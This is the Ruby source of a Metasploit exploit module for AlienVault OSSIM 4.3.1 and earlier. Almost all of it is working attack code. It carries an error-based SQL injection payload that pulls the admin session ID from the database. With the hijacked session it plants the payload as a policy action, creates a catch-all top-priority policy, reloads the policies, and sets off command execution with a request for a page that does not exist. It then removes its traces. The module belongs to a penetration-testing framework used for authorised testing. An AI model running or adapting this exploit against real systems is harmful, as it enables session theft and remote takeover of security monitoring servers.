354 lines
12 KiB
Ruby
354 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "AlienVault OSSIM SQL Injection and Remote Code Execution",
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault
|
|
OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an
|
|
active admin session ID. If an administrator level user is identified, remote code execution
|
|
can be gained by creating a high priority policy with an action containing our payload.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Sasha Zivojinovic', # SQLi discovery
|
|
'xistence <xistence[at]0x90.nl>' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['OSVDB', '106252'],
|
|
['EDB', '33006']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'SSL' => true,
|
|
'WfsDelay' => 10
|
|
},
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Payload' =>
|
|
{
|
|
'Compat' =>
|
|
{
|
|
'RequiredCmd' => 'generic perl python',
|
|
}
|
|
},
|
|
'Targets' =>
|
|
[
|
|
['Alienvault OSSIM 4.3', {}]
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => "Apr 24 2014",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(443),
|
|
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
|
|
])
|
|
end
|
|
|
|
|
|
def check
|
|
marker = rand_text_alpha(6)
|
|
sqli_rand = rand_text_numeric(4+rand(4))
|
|
sqli = "' and(select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(user() as char)),0x#{marker.unpack('H*')[0]})) "
|
|
sqli << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
|
|
'vars_get' => { 'date_from' => sqli }
|
|
})
|
|
|
|
if res && res.code == 200 && res.body =~ /#{marker}726F6F7440[0-9a-zA-Z]+#{marker}/ # 726F6F7440 = root
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
print_status("#{res.body}")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
end
|
|
|
|
|
|
def exploit
|
|
marker = rand_text_alpha(6)
|
|
sqli_rand = rand_text_numeric(4+rand(4))
|
|
sqli = "' and (select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(id as char)),0x#{marker.unpack('H*')[0]})) "
|
|
sqli << "from alienvault.sessions where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"
|
|
|
|
print_status("Trying to grab admin session through SQLi")
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
|
|
'vars_get' => { 'date_from' => sqli }
|
|
})
|
|
|
|
if res && res.code == 200 && res.body =~ /#{marker}(.*)#{marker}/
|
|
admin_session = $1
|
|
@cookie = "PHPSESSID=" + ["#{admin_session}"].pack("H*")
|
|
print_status("Admin session cookie is [ #{@cookie} ]")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Failure retrieving admin session")
|
|
end
|
|
|
|
# Creating an Action containing our payload, which will be executed by any event (not only alarms)
|
|
action = rand_text_alpha(8+(rand(8)))
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "action", "modifyactions.php"),
|
|
'cookie' => @cookie,
|
|
'vars_post' => {
|
|
'action' => 'new',
|
|
'action_name' => action,
|
|
'descr' => action,
|
|
'action_type' => '2',
|
|
'only' => 'on',
|
|
'cond' => 'True',
|
|
'exec_command' => payload.encoded
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200
|
|
print_status("Created Action [ #{action} ]")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Action creation failed!")
|
|
end
|
|
|
|
# Retrieving the Action ID, used to clean up the action after successful exploitation
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
|
|
'cookie' => @cookie,
|
|
'vars_post' => {
|
|
'page' => '1',
|
|
'rp' => '2000'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{action}/
|
|
@action_id = $1
|
|
print_status("Action ID is [ #{@action_id} ]")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Action ID retrieval failed!")
|
|
end
|
|
|
|
# Retrieving the policy data, necessary for proper cleanup after succesful exploitation
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
|
|
'cookie' => @cookie,
|
|
'vars_get' => {
|
|
'm_opt' => 'configuration',
|
|
'sm_opt' => 'threat_intelligence',
|
|
'h_opt' => 'policy'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
|
|
policy_ctx = $1
|
|
policy_group = $2
|
|
print_status("Policy data [ ctx=#{policy_ctx} ] and [ group=#{policy_group} ] retrieved!")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Retrieving Policy data failed!")
|
|
end
|
|
|
|
# Creating policy which will be triggered by any source/destination
|
|
policy = rand_text_alpha(8+(rand(8)))
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
|
|
'cookie' => @cookie,
|
|
'vars_post' => {
|
|
'descr' => policy,
|
|
'active' => '1',
|
|
'group' => policy_group,
|
|
'ctx' => policy_ctx,
|
|
'order' => '1', # Makes this the first policy, overruling all the other policies
|
|
'action' => 'new',
|
|
'sources[]' => '00000000000000000000000000000000', # Source is ANY
|
|
'dests[]' => '00000000000000000000000000000000', # Destination is ANY
|
|
'portsrc[]' => '0', # Any source port
|
|
'portdst[]' => '0', # Any destination port
|
|
'plug_type' => '1', # Taxonomy
|
|
'plugins[0]' => 'on',
|
|
'taxfilters[]' =>'20@13@118', # Product Type: Operating System, Category: Application, Subcategory: Web - Not Found
|
|
'tax_pt' => '0',
|
|
'tax_cat' => '0',
|
|
'tax_subc' => '0',
|
|
'mboxs[]' => '00000000000000000000000000000000',
|
|
'rep_act' => '0',
|
|
'rep_sev' => '1',
|
|
'rep_rel' => '1',
|
|
'rep_dir' => '0',
|
|
'ev_sev' => '1',
|
|
'ev_rel' => '1',
|
|
'tzone' => 'Europe/Amsterdam',
|
|
'date_type' => '1',
|
|
'begin_hour' => '0',
|
|
'begin_minute' => '0',
|
|
'begin_day_week' => '1',
|
|
'begin_day_month' => '1',
|
|
'begin_month' => '1',
|
|
'end_hour' => '23',
|
|
'end_minute' => '59',
|
|
'end_day_week' => '7',
|
|
'end_day_month' => '31',
|
|
'end_month' => '12',
|
|
'actions[]' => @action_id,
|
|
'sim' => '1',
|
|
'priority' => '1',
|
|
'qualify' => '1',
|
|
'correlate' => '0', # Don't make any correlations
|
|
'cross_correlate' => '0', # Don't make any correlations
|
|
'store' => '0' # We don't want to store anything :)
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200
|
|
print_status("Created Policy [ #{policy} ]")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Policy creation failed!")
|
|
end
|
|
|
|
# Retrieve policy ID, needed for proper cleanup after succesful exploitation
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "getpolicy.php"),
|
|
'cookie' => @cookie,
|
|
'vars_get' => {
|
|
'ctx' => policy_ctx,
|
|
'group' => policy_group
|
|
},
|
|
'vars_post' => {
|
|
'page' => '1',
|
|
'rp' => '2000'
|
|
}
|
|
})
|
|
if res && res.code == 200 && res.body =~ /row id='(.*)' col_order='1'/
|
|
@policy_id = $1
|
|
print_status("Policy ID [ #{@policy_id} ] retrieved!")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Retrieving Policy ID failed!")
|
|
end
|
|
|
|
# Reload the policies to make our new policy active
|
|
print_status("Reloading Policies")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
|
|
'cookie' => @cookie,
|
|
'vars_get' => {
|
|
'what' => 'policies',
|
|
'back' => '../policy/policy.php'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200
|
|
print_status("Policies reloaded!")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")
|
|
end
|
|
|
|
# Request a non-existing page, which will trigger a SIEM event (and thus our payload), but not an alarm.
|
|
dont_exist = rand_text_alpha(8+rand(4))
|
|
print_status("Triggering policy and action by requesting a non existing url")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, dont_exist),
|
|
'cookie' => @cookie
|
|
})
|
|
|
|
if res and res.code == 404
|
|
print_status("Payload delivered")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Payload failed!")
|
|
end
|
|
|
|
end
|
|
|
|
|
|
def cleanup
|
|
begin
|
|
# Clean up, retrieve token so that the policy can be removed
|
|
print_status("Cleaning up")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "session", "token.php"),
|
|
'cookie' => @cookie,
|
|
'vars_post' => { 'f_name' => 'delete_policy' }
|
|
})
|
|
|
|
if res && res.code == 200 && res.body =~ /\{\"status\":\"OK\",\"data\":\"(.*)\"\}/
|
|
token = $1
|
|
print_status("Token [ #{token} ] retrieved")
|
|
else
|
|
print_warning("Unable to retrieve token")
|
|
end
|
|
|
|
# Remove our policy
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "deletepolicy.php"),
|
|
'cookie' => @cookie,
|
|
'vars_get' => {
|
|
'confirm' => 'yes',
|
|
'id' => @policy_id,
|
|
'token' => token
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200
|
|
print_status("Policy ID [ #{@policy_id} ] removed")
|
|
else
|
|
print_warning("Unable to remove Policy ID")
|
|
end
|
|
|
|
# Remove our action
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "action", "deleteaction.php"),
|
|
'cookie' => @cookie,
|
|
'vars_get' => {
|
|
'id' => @action_id,
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200
|
|
print_status("Action ID [ #{@action_id} ] removed")
|
|
else
|
|
print_warning("Unable to remove Action ID")
|
|
end
|
|
|
|
# Reload the policies to revert back to the state before exploitation
|
|
print_status("Reloading Policies")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
|
|
'cookie' => @cookie,
|
|
'vars_get' => {
|
|
'what' => 'policies',
|
|
'back' => '../policy/policy.php'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200
|
|
print_status("Policies reloaded!")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")
|
|
end
|
|
|
|
ensure
|
|
super # mixins should be able to cleanup even in case of Exception
|
|
end
|
|
end
|
|
end
|